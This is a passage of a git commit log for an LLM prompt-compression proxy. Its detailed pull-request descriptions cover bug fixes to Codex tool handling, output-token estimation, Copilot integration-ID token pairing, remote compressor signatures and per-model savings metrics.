- Kill switch / disable path: unset `HEADROOM_SERENA_INDEX_TIMEOUT`;
skipping the pre-index entirely remains `--no-serena`.
- Unsafe override required: no.
- Qualification impact: none — no change to compression, proxy, or
provider behavior.
- Rollback path: revert the commit; no persisted state, no migration, no
config to clean up.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Additional Notes

**Alternatives considered.** A CLI flag (`--serena-index-timeout`) is
more discoverable
but has to be threaded through four `wrap` subcommands, adds CLI surface
that
CONTRIBUTING gates behind maintainer sign-off, and would not reach `wrap
... -- agents`
sessions. Making the pre-index asynchronous removes the stall outright
and is arguably
the better end state, but it is an architectural change and would reopen
the
orphaned-grandchild failure mode #2938 just closed. Auto-scaling the
budget by project
size reintroduces the kind of hand-maintained heuristic #2938
deliberately removed.

**What this does not solve.** The default is still 300s, so a user who
never sets the
variable still stalls; the reporter's third point (using Serena in
background agent
sessions launched from a parent directory) is a Serena-semantics
question rather than a
headroom defect; and an in-flight pre-index is still not interruptible.

**Open questions for maintainers.**

1. Should `0` mean "skip the pre-index" instead of being rejected? I
kept the
proxy-timeout precedent (reject `<= 0`) since `--no-serena` already
covers disabling,
   but the other reading is defensible.
2. `HEADROOM_WRAP_PROXY_TIMEOUT` — the closest precedent — is not in
`docs/content/docs/configuration.mdx`, so I matched it and left docs
alone. Happy to
   add a row if you would rather document it.
3. If you consider a new env knob a feature rather than part of this
bug, say so and I
   will hold for a maintainer sign-off before you spend review time.

Documentation: no `CHANGELOG.md` edit (release-please generates it from
the PR title).
2026-08-21 14:59:53 -07:00
gglucass
25ca580825
fix(proxy/responses): lift Codex >= 0.149.0 additional_tools into top-level tools (#3186)
## Description

Codex CLI 0.149.0 (npm `latest` since 2026-08-20 21:09 UTC) stopped
sending a top-level `tools` array on `/v1/responses` for models its
server-fetched capability cache flags (`gpt-5.6-sol`, its new default).
Tool definitions now ride inside `input` as items of a new type:

```json
{"type": "additional_tools", "tools": [ {...}, {...} ]}
```

Every tools consumer in the proxy - `tool_schema_compaction`, the
output-shaper stratum, the tools token accounting - reads only
`payload["tools"]`, so these requests classify `notools` and record
exactly zero tool-schema savings while forwarding and streaming
normally. Users on Codex <= 0.148 are unaffected; users silently lose
savings the moment their CLI updates. On our fleet the day after the
Codex release, 42 of 54 codex-primary users active in a 12h window had
savings frozen, and 0 of that day's codex new signups recorded any
savings.

This PR normalizes the new encoding to the classic one before
compression: `_lift_codex_additional_tools(payload)` concatenates the
carrier items' `tools` arrays into `payload["tools"]` and drops the
carriers from `input`, in place, once per compression pass - at the top
of `_compress_openai_responses_payload_in_executor`, the single funnel
every responses call site goes through (HTTP `/v1/responses`, WS first
and subsequent frames, passthrough). It no-ops when top-level `tools` is
already present, so classic-encoding clients pay nothing and a future
Codex reverting the change costs nothing. Normalizing (rather than
compacting inside the items and preserving the new wire shape) keeps
every downstream consumer working without touching their accounting; the
alternative shape is discussed in #3185.

Closes #3185

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `headroom/proxy/handlers/openai.py`: new module function
`_lift_codex_additional_tools(payload, *, request_id=None)` plus
`_codex_additional_tools_lift_enabled()` (env gate via
`runtime_env.getenv`, hot-reloadable); called defensively at the top of
`_compress_openai_responses_payload_in_executor` so a lift failure can
never break forwarding.
- `tests/test_openai_responses_additional_tools.py`: 8 tests - lift
shape, multi-carrier concatenation, no-op on classic encoding, no-op
without carriers / non-dict / non-list input, kill switch, logging,
empty-carrier preservation, and lift-then-compaction integration
reproducing the exact production failure (compaction returns unmodified
without the lift).

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
$ uv run --frozen --extra dev pytest tests/test_openai_responses_additional_tools.py tests/test_openai_responses_context_compaction.py -q
==== 18 passed in 2.71s ====

$ uv run --frozen --extra dev pytest tests/test_proxy_openai.py -q   # adjacent handler suite
==== 31 passed, 1 warning in 26.36s ====

$ uv run --frozen ruff check headroom/proxy/handlers/openai.py tests/test_openai_responses_additional_tools.py
All checks passed!
$ uv run --frozen ruff format --check headroom/proxy/handlers/openai.py tests/test_openai_responses_additional_tools.py
2 files already formatted
$ uv run --frozen mypy headroom/proxy/handlers/openai.py
Success: no issues found in 1 source file
```

## Real Behavior Proof

- Environment: macOS 15 (arm64), headroom-ai 0.35.0 wheel in a fresh
venv with empty state (`HOME` pointed at an empty dir), `headroom proxy
--port 6799 --no-http2 --log-messages --no-ccr`; Codex CLI 0.149.0
(standalone npm install) and 0.142.4, ChatGPT-plan OAuth, routed via a
`[model_providers]` block in `config.toml`.
- Exact command / steps: `CODEX_HOME=<test home> codex exec
--skip-git-repo-check "Run the shell command: echo headroom-test-123.
Then reply with exactly the output it printed."` against the proxy,
before and after injecting the lift (via a sitecustomize carrying the
same function); cross-checked Codex 0.142.4 default (gpt-5.5), 0.142.4
`-m gpt-5.6-sol`, and 0.149.0 `-m gpt-5.5`.
- Observed result: before - `/v1/responses compressed 59425->59425 bytes
(0 tokens saved,
transforms=['output_shaper:stratum:gpt|new_user_ask|m|notools',
'output_shaper:verbosity:L2'])` despite ~12k tokens of tool schemas in
the request (Codex's own `tool_token_count` log field). After -
`/v1/responses compressed 59437->58716 bytes (608 tokens saved,
transforms=['output_shaper:stratum:gpt|new_user_ask|m|tools',
'output_shaper:verbosity:L2',
'openai:responses:tool_schema_compaction'])`; the shell tool call
executed against the live ChatGPT Codex backend and returned its output,
the follow-up turn classified `mechanical_continuation|m|tools`, and the
prefix cache stayed hot (cache_hit_pct=100 on turn 2). The three
cross-check matrix cells all compress, confirming the backend accepts
the classic top-level encoding for these models and that the regression
is 0.149.0's default-model path specifically.
- Not tested: Codex over the WebSocket transport (the verified setups
pin `supports_websockets = false`; the lift sits in the shared executor
those frames also funnel through, and unit tests cover the per-frame
payload shapes); non-ChatGPT (API-key) Codex auth; models other than
gpt-5.5/gpt-5.6-sol.

## Runtime Rollout Safety

- Rollout-managed feature(s): none - not wired to the rollout system.
- Minimum rollout channel: n/a.
- Stable/default behavior changed: only for requests carrying
`additional_tools` input items with no top-level `tools` (the Codex >=
0.149.0 default-model encoding, which today gets zero compression); all
other traffic is byte-identical.
- Kill switch / disable path: `HEADROOM_CODEX_ADDITIONAL_TOOLS_LIFT=0`
(read through `runtime_env.getenv`, so hot-reload overrides apply
without a restart).
- Unsafe override required: no.
- Qualification impact: none known.
- Rollback path: set the kill switch, or revert this single commit - the
lift is self-contained (one function + one guarded call site).

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Screenshots (if applicable)

n/a - proxy log lines quoted under Real Behavior Proof.

## Additional Notes

- Documentation checklist item is unchecked because no user-facing docs
describe the responses tools handling; happy to add a line wherever you
track client-compat notes if you have a preferred spot.
- If you would rather preserve the new wire shape upstream (compact
inside the carrier items instead of normalizing), I am happy to rework -
trade-offs are laid out in #3185.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-21 14:12:18 -07:00
Tejas Chopra
4006964a03
fix(proxy): count output tokens from the stream's text, not its wire size (#3163)
## Description

From a user's proxy log (Copilot Chat, 0.36.x), on every streamed turn:

```
WARNING Could not parse output_tokens from SSE, estimating 8 from 334 bytes
```

When an upstream sends no usage chunk, output tokens were estimated as
`total_bytes // 40` over the **raw SSE wire** — every `data:` prefix,
JSON envelope, `role` / `finish_reason` / `id` / `model` field and
blank-line framing included.

The divisor is a fudge for "bytes per token *including framing
overhead*", so its error tracks **how chattily the answer was chunked**
rather than how long the answer was. The same text split into more
deltas scores higher purely for being split.

GitHub's Copilot CAPI is one of the upstreams that omits the usage
chunk, so this was every Copilot turn's output number — and output
tokens feed both the output-shaping savings estimate and the cost model.

Closes #

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- New pure module `headroom/proxy/stream_output_tokens.py`. The stream's
own text is already in the buffer at the estimation site
(`_finalize_stream_response` receives `full_sse_data`), so extract it
and count that instead of the wire.
- Handles all three forwarded surfaces: OpenAI chat
`choices[].delta.content`, OpenAI responses `*.delta`, Anthropic
`content_block_delta`.
- Counts **reasoning deltas and tool-call arguments** too — the provider
bills those as output, so omitting them would under-count exactly the
most expensive turns.
- `bytes // 40` survives only as the last resort for a stream whose text
could not be recovered. That is the upstream-error path, which reaches
the finalizer with no stream text and has no generated text to count —
so it keeps its previous behavior exactly.
- The log line named the wrong basis (it always said "from N bytes"), so
it now reports which rung produced the number.
- Parsing is I/O-free and hardened against malformed input — it runs on
the response path, where an exception would break a turn that had
already succeeded.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [ ] Manual testing performed

### Test Output

```text
$ pytest tests/test_stream_output_tokens.py -q
21 passed in 0.23s

$ pytest tests/ -q -k stream
502 passed, 19 skipped

$ pytest tests/ -q          # this branch
6 failed, 11394 passed, 587 skipped in 426.13s

All 6 also fail on clean origin/main, same machine — pre-existing, not regressions:
  test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
  test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
  test_release_workflows.py::test_no_native_tls_in_wheel_build_tree
  test_providers/test_deepseek.py::...  (3 litellm pricing tests)

$ ruff check headroom/
All checks passed!

$ mypy headroom/proxy/stream_output_tokens.py
Success
```

Coverage includes: per-surface extraction; reasoning/tool-argument
deltas; multi-line `data:` fields (per the SSE spec); 10 malformed-input
shapes that must yield `""` rather than raise; and the two properties
that motivated the change —

- **chunk-invariance**: the same text split one-delta vs per-character
now yields the same count, where the wire estimator disagreed wildly;
- **a short answer is never recorded as zero** (integer division would
report 0 tokens for `"OK"`).

## Real Behavior Proof

- **Environment:** macOS, Python 3.12.13, branch on `origin/main` @
`a3821378`.
- **Exact command / steps:** ran the estimator over a synthetic OpenAI
chat stream matching the reported shape.
- **Observed result:** for a 144-byte stream carrying `"Hello there,
this is the answer."` (31 chars), the old path yields `144 // 40 = 3`
tokens; the new path extracts the text and yields `8`, tagged
`estimated_text`. Chunking the same text per-character leaves the new
count unchanged while the wire count changes substantially.
- **Not tested:** no live Copilot CAPI stream was captured; SSE fixtures
are synthetic. The count remains an approximation (`chars // 4`) — this
makes the estimate track the answer instead of the framing, it does not
make it exact. Where the provider does send usage, that value is still
preferred and untouched.

## Runtime Rollout Safety

- **Rollout-managed feature(s):** none.
- **Minimum rollout channel:** n/a.
- **Stable/default behavior changed:** only for streams with **no**
provider usage chunk — reported output tokens become larger and more
accurate. Provider-reported usage is preferred exactly as before.
- **Kill switch / disable path:** n/a. `output_tokens_source` is already
recorded on the outcome tags, so provider vs estimated vs byte-fallback
stays distinguishable downstream.
- **Unsafe override required:** none.
- **Qualification impact:** output-shaping savings and cost estimates
for affected upstreams shift to a better-grounded number.
- **Rollback path:** revert the commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-20 22:11:55 -07:00
Tejas Chopra
397803a942
fix(copilot): bind the minted token to the integration ID we forward (#3164)
## Description

Reported from a Copilot CLI session:

```
[CopilotCLISession] Failed to fetch models: Error: 401 "unauthorized:
    unable to validate HMAC for the given Copilot-Integration-ID"
[CopilotCLISession] Proxy URL configured (authType=hmac), skipping
    client-side token validation
```

GitHub **binds a Copilot API token to the `Copilot-Integration-Id` it
was minted under** and verifies the pairing with an HMAC. Present a
token minted for integration A alongside a header naming integration B,
and you get exactly this error.

`apply_copilot_api_auth` applied the integration ID with *set-default*
semantics — `_set_header_default` returns early when the header is
already present — **before** deciding whose token to use:

```python
for name, value in _copilot_chat_header_defaults().items():
    _set_header_default(resolved, name, value)   # ← never overwrites
...
if incoming_auth and _is_forwardable_copilot_bearer_token(...):
    return resolved                               # client's token kept
...
token = await get_copilot_token_provider().get_api_token()   # ← REPLACED
```

The client always sends an ID, so when Headroom replaced the token — the
common case, logged as `incoming token not suitable (kind=unknown), will
replace` — the request left carrying **the client's integration ID next
to Headroom's token**, minted under `vscode-chat` via
`_copilot_token_exchange_headers`. A Copilot CLI session does not
identify as `vscode-chat`.

The second log line is why nothing caught it sooner: seeing a proxy URL,
the Copilot client reports `authType=hmac` and **skips its own token
validation**, deferring to the proxy. Nobody validates the pairing until
GitHub rejects it.

**Why this matters beyond one 401:** the failing call is *model
discovery*. When it fails the client falls back to its built-in model
list — which is why a user's selected model never appeared in telemetry
and all traffic surfaced as `gpt-4o-mini`.

Closes #

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

Restores one invariant: **the credential and the integration ID leave
together.**

- **Mint under the client's ID** rather than the proxy's default, so
GitHub's usage attribution keeps pointing at the surface that actually
made the call.
- **Overwrite the forwarded header to match what we minted** — but only
on the replace path. The pass-through branch returns earlier and keeps
the client's own ID beside the client's own token, which is equally a
matched pair.
- **Key the token cache by integration ID.** A single slot would hand a
`vscode-chat` token to a CLI session and reproduce the same 401 straight
from cache.

Two existing contracts deliberately preserved:

- Resolution order is **client header > `GITHUB_COPILOT_INTEGRATION_ID`
> built-in default**. The env var configures the *default* this proxy
sends; it does not override a client that stated its own identity.
Pinned by the existing
`test_apply_copilot_api_auth_preserves_existing_copilot_headers` (whose
fixture literally names the value `should-not-override`).
- The overwrite writes through the client's **existing key**, so a
lowercase `copilot-integration-id` does not gain a second capitalised
variant beside it — pinned by the existing
`..._preserves_existing_headers_case_insensitively`.

Existing test stubs for `get_api_token` gained the new keyword — the
same signature-drift hazard this repo just hit in
`RemoteKompressCompressor` (#3162).

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [ ] Manual testing performed

### Test Output

```text
$ pytest tests/ -q -k copilot
338 passed, 8 skipped

$ pytest tests/ -q          # this branch
6 failed, 11386 passed, 587 skipped in 425.40s

All 6 also fail on clean origin/main, same machine — pre-existing, not regressions:
  test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
  test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
  test_release_workflows.py::test_no_native_tls_in_wheel_build_tree
  test_providers/test_deepseek.py::...  (3 litellm pricing tests)

$ ruff check headroom/
All checks passed!

$ mypy headroom/copilot_auth.py
0 errors
```

12 new tests: the mint/forward pairing, the pass-through branch keeping
the client's pair untouched, no duplicate case-variant header,
resolution order in both directions, blank/absent client values,
non-Copilot upstreams untouched, and per-integration cache isolation.

## Real Behavior Proof

- **Environment:** macOS, Python 3.12.13, branch on `origin/main` @
`a3821378`.
- **Exact command / steps:** drove `apply_copilot_api_auth` with the
reported shape — an unusable client bearer plus `Copilot-Integration-Id:
copilot-cli-chat` against `api.githubcopilot.com` — and compared the ID
the token would be **minted under** (via
`_copilot_token_exchange_headers`) against the ID actually
**forwarded**. Run against the same script before and after the change,
with `PYTHONPATH` pinned to the worktree.
- **Observed result:**

```
########## PRE-FIX ##########
  token minted under : vscode-chat
  header forwarded   : copilot-cli-chat
  -> GitHub would REJECT (401 HMAC)

########## POST-FIX ##########
  token minted under : copilot-cli-chat
  header forwarded   : copilot-cli-chat
  -> GitHub would ACCEPT
```

- **Not tested:** no live call to GitHub's CAPI — the HMAC is validated
server-side by GitHub and cannot be exercised offline. The claim
verified here is that the two halves now agree; that GitHub accepts a
correctly-paired credential is inferred from its error message, not
observed. **Worth one live Copilot CLI run before shipping to a
reporter.** The `GITHUB_COPILOT_API_TOKEN` path is also unchanged: an
externally-supplied token was minted under an integration this proxy
cannot know, so it is passed through as before.

## Runtime Rollout Safety

- **Rollout-managed feature(s):** none.
- **Minimum rollout channel:** n/a.
- **Stable/default behavior changed:** requests where Headroom replaces
the token now forward the integration ID the replacement was minted
under. For a client sending `vscode-chat` (VS Code, the previous
default) nothing changes at all — the resolved value is identical.
- **Kill switch / disable path:** setting
`GITHUB_COPILOT_INTEGRATION_ID` pins the value used for clients that
send none; clients that send one are unaffected either way.
- **Unsafe override required:** none.
- **Qualification impact:** model discovery should stop 401ing for
non-VS-Code Copilot surfaces, which restores the real model list.
- **Rollback path:** revert the commit; behavior returns to minting
under `vscode-chat` regardless of caller.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-20 22:11:42 -07:00
Tejas Chopra
45cb1b9c48
fix(kompress): accept ccr_original on the remote compressor (#3162)
## Description

From a user's proxy log (Copilot Chat 0.61.0 on Windows, VS Code
1.133.0, Headroom 0.36.x). This appears on **every single request**:

```
WARNING Kompress failed: RemoteKompressCompressor.compress() got an
        unexpected keyword argument 'ccr_original'
INFO    [router] route_counts={'ratio_too_high': 1, 'cache_miss': 1} compressed=0 frozen=1 msgs=2
INFO    Transform content_router: 1611 -> 1611 tokens (saved 0) [48.3ms]
INFO    PERF model=... tok_before=1623 tok_after=1623 tok_saved=0 tool_saved=0 savings=none
```

`RemoteKompressCompressor`'s module docstring promises the class
"mirrors `KompressCompressor`'s public surface (`is_ready` / `preload` /
`ensure_background_load` / `compress`), so it is a drop-in at the
ContentRouter seam". That promise lapsed — the local `compress` gained a
`ccr_original` keyword and the remote one did not.

`ContentRouter._try_ml_compressor` passes `ccr_original` whenever custom
tags are protected. The comment there reads:

> Only set it when tags were protected so callers/compressors that don't
accept the kwarg are unaffected on the common path.

That assumption is wrong. The remote compressor **is** affected: the
call raises `TypeError`, which the surrounding broad `except Exception`
catches and downgrades to `logger.warning("Kompress failed: %s", e)`.
The request then forwards uncompressed and the proxy reports success.

**The blast radius is the entire deployment, not one request.**
`_get_kompress` returns the remote compressor *ahead of* every local
path, so on any install with `HEADROOM_KOMPRESS_ENDPOINT` set —
precisely the sandboxed/enterprise deployment this class exists to serve
— ML compression was silently disabled while every dashboard read
"working, 0 tokens saved".

Closes #

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

Two parts, because fixing only the crash would leave the bug
`ccr_original` exists to prevent:

- **Accept the keyword** on `RemoteKompressCompressor.compress`, so the
seam contract actually holds.
- **Honor it** — store the pre-protection text in CCR rather than the
placeholder intermediate, so a later full retrieval returns the real
block instead of `{{HEADROOM_TAG_N}}`. The endpoint's own
`original_tokens` describes `content`, so when an override is supplied
the stored text is counted locally; the common path (no override) keeps
the endpoint's count exactly as before.
- **A signature-compatibility test** over the two `compress` methods, so
this drift cannot recur silently. It compares *public* keywords only —
`_deadline_started_at` is underscore-prefixed and only ever passed by
`kompress_compressor` to itself on its recursive batch path, never
across the seam.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [ ] Manual testing performed

### Test Output

```text
$ pytest tests/test_remote_kompress_dropin.py -q
8 passed in 0.25s

# Same file against pre-fix code (git stash) — reproduces the reported error:
3 failed, 5 passed
  FAILED test_remote_compress_accepts_every_local_keyword
  FAILED test_passing_ccr_original_no_longer_raises
  FAILED test_ccr_stores_the_pre_protection_text_not_the_placeholder
  E  TypeError: RemoteKompressCompressor.compress() got an unexpected
     keyword argument 'ccr_original'

$ pytest tests/ -q -k "kompress or content_router"
411 passed, 9 skipped

$ pytest tests/ -q          # this branch
6 failed, 11381 passed, 587 skipped in 446.31s

All 6 also fail on clean origin/main, same machine — pre-existing, not regressions:
  test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
  test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
  test_release_workflows.py::test_no_native_tls_in_wheel_build_tree
  test_providers/test_deepseek.py::...v4_flash_litellm_pricing
  test_providers/test_deepseek.py::...v4_pro_litellm_pricing
  test_providers/test_deepseek.py::...cost_per_token_resolves_deepseek_v4_flash
(verified by stashing this branch and running test_deepseek.py: 3 failed, 17 passed)

$ ruff check headroom/
All checks passed!

$ mypy headroom/transforms/kompress_remote.py
Success: no issues found in 1 source file
```

## Real Behavior Proof

- **Environment:** macOS, Python 3.12.13, branch on `origin/main` @
`a3821378`.
- **Exact command / steps:** drove `RemoteKompressCompressor.compress`
with the exact kwargs `ContentRouter._try_ml_compressor` builds when
`protected` is truthy (`context`, `question`, `target_ratio`,
`allow_download`, `ccr_original`), against a stubbed HTTP client.
- **Observed result:** pre-fix that call raises `TypeError: ...
unexpected keyword argument 'ccr_original'` — byte-identical to the
user's log line. Post-fix it returns a `KompressResult`, and CCR
receives the pre-protection text (`"HEADROOM_TAG" not in stored`) with a
token count matching what was stored.
- **Not tested:** no live remote Kompress endpoint was contacted; the
HTTP client is stubbed. The end-to-end path through a running proxy
against a real `HEADROOM_KOMPRESS_ENDPOINT` has not been exercised here.

## Runtime Rollout Safety

- **Rollout-managed feature(s):** none. Affects deployments with
`HEADROOM_KOMPRESS_ENDPOINT` set.
- **Minimum rollout channel:** n/a.
- **Stable/default behavior changed:** for remote-Kompress deployments,
compression starts working again where it previously no-op'd.
Deployments without the endpoint set are untouched — they never reach
this class.
- **Kill switch / disable path:** unchanged
(`HEADROOM_KOMPRESS_ENDPOINT` unset, or `kompress_model="disabled"`).
- **Unsafe override required:** none.
- **Qualification impact:** the remote compressor's fail-open contract
is unchanged — a bad endpoint still passes content through verbatim.
- **Rollback path:** revert; behavior returns to silently-disabled
compression on remote deployments.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-20 22:11:30 -07:00
JD Davis
1bea0ea31a
test: track active LiteLLM DeepSeek pricing (#3161)
## Description

Keep the LiteLLM DeepSeek V4 integration tests compatible with
upstream-owned pricing entries. LiteLLM now publishes these models
directly, so Headroom correctly preserves upstream values instead of
installing its fallback values; the tests must validate the active entry
rather than require fallback prices.

Related: #3157

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- Validate that active upstream DeepSeek V4 price entries contain
positive input and output prices.
- Compare `cost_per_token` results with the active LiteLLM model-cost
entry.
- Preserve the existing fallback-price and non-overwrite coverage.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [ ] New tests added for new functionality
- [ ] Manual testing performed

### Test Output

```text
python -m pytest tests/test_providers/test_deepseek.py -q
20 passed in 4.63s

ruff check tests/test_providers/test_deepseek.py
All checks passed!

ruff format --check tests/test_providers/test_deepseek.py
1 file already formatted

pre-commit: Ruff alignment, merge-conflict check, Ruff, Ruff format, and mypy all passed
```

## Real Behavior Proof

- Environment: Windows, Python 3.13.13, LiteLLM model-cost data
available.
- Exact command / steps: `python -m pytest
tests/test_providers/test_deepseek.py -q`
- Observed result: all 20 DeepSeek provider and pricing tests pass
against the active LiteLLM entries.
- Not tested: provider API calls; this change only concerns local
pricing metadata assertions.

## Runtime Rollout Safety

- Rollout-managed feature(s): None.
- Minimum rollout channel: N/A.
- Stable/default behavior changed: No runtime behavior changes.
- Kill switch / disable path: N/A.
- Unsafe override required: No.
- Qualification impact: Restores deterministic CI coverage for
upstream-owned pricing entries.
- Rollback path: Revert this test-only commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code where needed
- [ ] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] Existing tests prove the fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Screenshots (if applicable)

N/A — test-only change.

## Additional Notes

Documentation changes are not applicable because runtime behavior and
public APIs are unchanged.
2026-08-20 23:19:55 -05:00
Tejas Chopra
81fe9d5345
fix(metrics): attribute tool-schema savings per model, not just compression (#3155)
## Description

Reported against 0.36.0 (VS Code + Copilot + Claude Code): the per-model
breakdown disagreed with the headline printed four lines above it.

```
Tokens saved: 625,277
  · messages       36,071
  · tool schemas  589,206
Per-Model Breakdown
  <a>: 35,907 tokens saved
  <b>:      0 tokens saved
  <c>:    164 tokens saved
  <d>:      0 tokens saved
```

The rows sum to **36,071** — the *messages* line exactly. All 589,206
tokens of tool-schema deferral, 94% of the headline, had no row to land
in, so every tool-heavy model reported "0 tokens saved" while real
dollars were credited to it.

Deferral is disjoint from message compression by construction: deferred
schemas never enter the message token counts, so they move neither
`tokens_saved` nor `tokens_sent`. The headline, the PERF line, and the
savings ledger (#2795) all already fold the two together. Three
per-model surfaces did not.

Closes #

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- **`perf/analyzer.py`** — the per-model loop summed `tokens_saved`
while its own headline summed `tokens_saved + tool_saved`. Now uses the
same all-layers construction (`headline_before = before + tool_saved`),
and prints a `· messages / · tool schemas` split line only when there is
a split to show.
- **`proxy/savings_tracker.py`** — added a `tool_tokens_saved` bucket to
`_empty_by_model_entry()`, normalization, and
`_record_by_model_locked()`; `record_request()` gained a
`tool_search_saved` parameter. `_by_model_snapshot_locked()` ranks and
computes `savings_percent` off the combined figure and exposes
`headline_tokens_saved`.
- **`proxy/prometheus_metrics.py`** — **the seam.** `record_request`
already accepted `tool_search_saved` and already folded it into the
per-model *dollars*, but never passed it to
`savings_tracker.record_request`. Tokens and money therefore disagreed
on the same row.
- **`proxy/cost.py`** (feeds the dashboard's "Per-Model Token Savings"
table) — added `_tool_saved_by_model`, a `tool_schema_saved` kwarg, and
`compression_tokens_saved` / `tool_tokens_saved` alongside a combined
`tokens_saved`. The `stats()` loop now iterates the **union** of both
dicts: keying off compression alone dropped a deferral-only model from
the table entirely rather than merely under-reporting it.
- **`proxy/outcome.py`** — forwards the figure it already computed for
`metrics.record_request` to `cost_tracker.record_tokens`.
- **`dashboard.html`** — the "Tokens Saved" cell gains a `title` showing
the compression/deferral split.

Design notes:
- Components stay separately addressable rather than widening an
existing field's meaning in place, so persisted state remains readable
by older readers.
- Percentages use the all-layers numerator over `saved + sent` —
deferred schemas were never in `sent`, so that is still the pre-Headroom
volume.
- `CostTracker.stats()["savings_usd"]` is deliberately **not** widened:
deferral is already priced by `SavingsTracker`, and this tracker's
dollars feed budget enforcement, where counting it twice would
double-book the saving.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [ ] Manual testing performed

### Test Output

```text
$ pytest tests/test_per_model_tool_savings.py -q
11 passed in 0.94s

# Same file against pre-fix code (git stash), proving the tests bite:
5 failed, 1 passed
  FAILED test_per_model_rows_reconcile_with_the_headline
  FAILED test_a_tool_only_model_no_longer_reads_zero
  FAILED test_tracker_attributes_deferral_to_the_model
  FAILED test_tracker_default_is_unchanged_without_deferral
  FAILED test_state_written_before_this_field_existed_still_loads
(the one that passes pre-fix is the "compression-only model is unchanged" guard)

$ pytest tests/ -q          # this branch
3 failed, 11374 passed, 587 skipped in 343.55s

$ pytest tests/ -q          # clean origin/main, same machine
3 failed, 11364 passed, 587 skipped in 352.64s

Identical 3 failures on both — pre-existing and environmental, not regressions:
  test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
  test_release_workflows.py::test_no_native_tls_in_wheel_build_tree   (FileNotFoundError: 'cargo')
  test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
    (whole-suite ordering flake; tests/test_graceful_shutdown.py passes 11/11 in isolation on this branch)

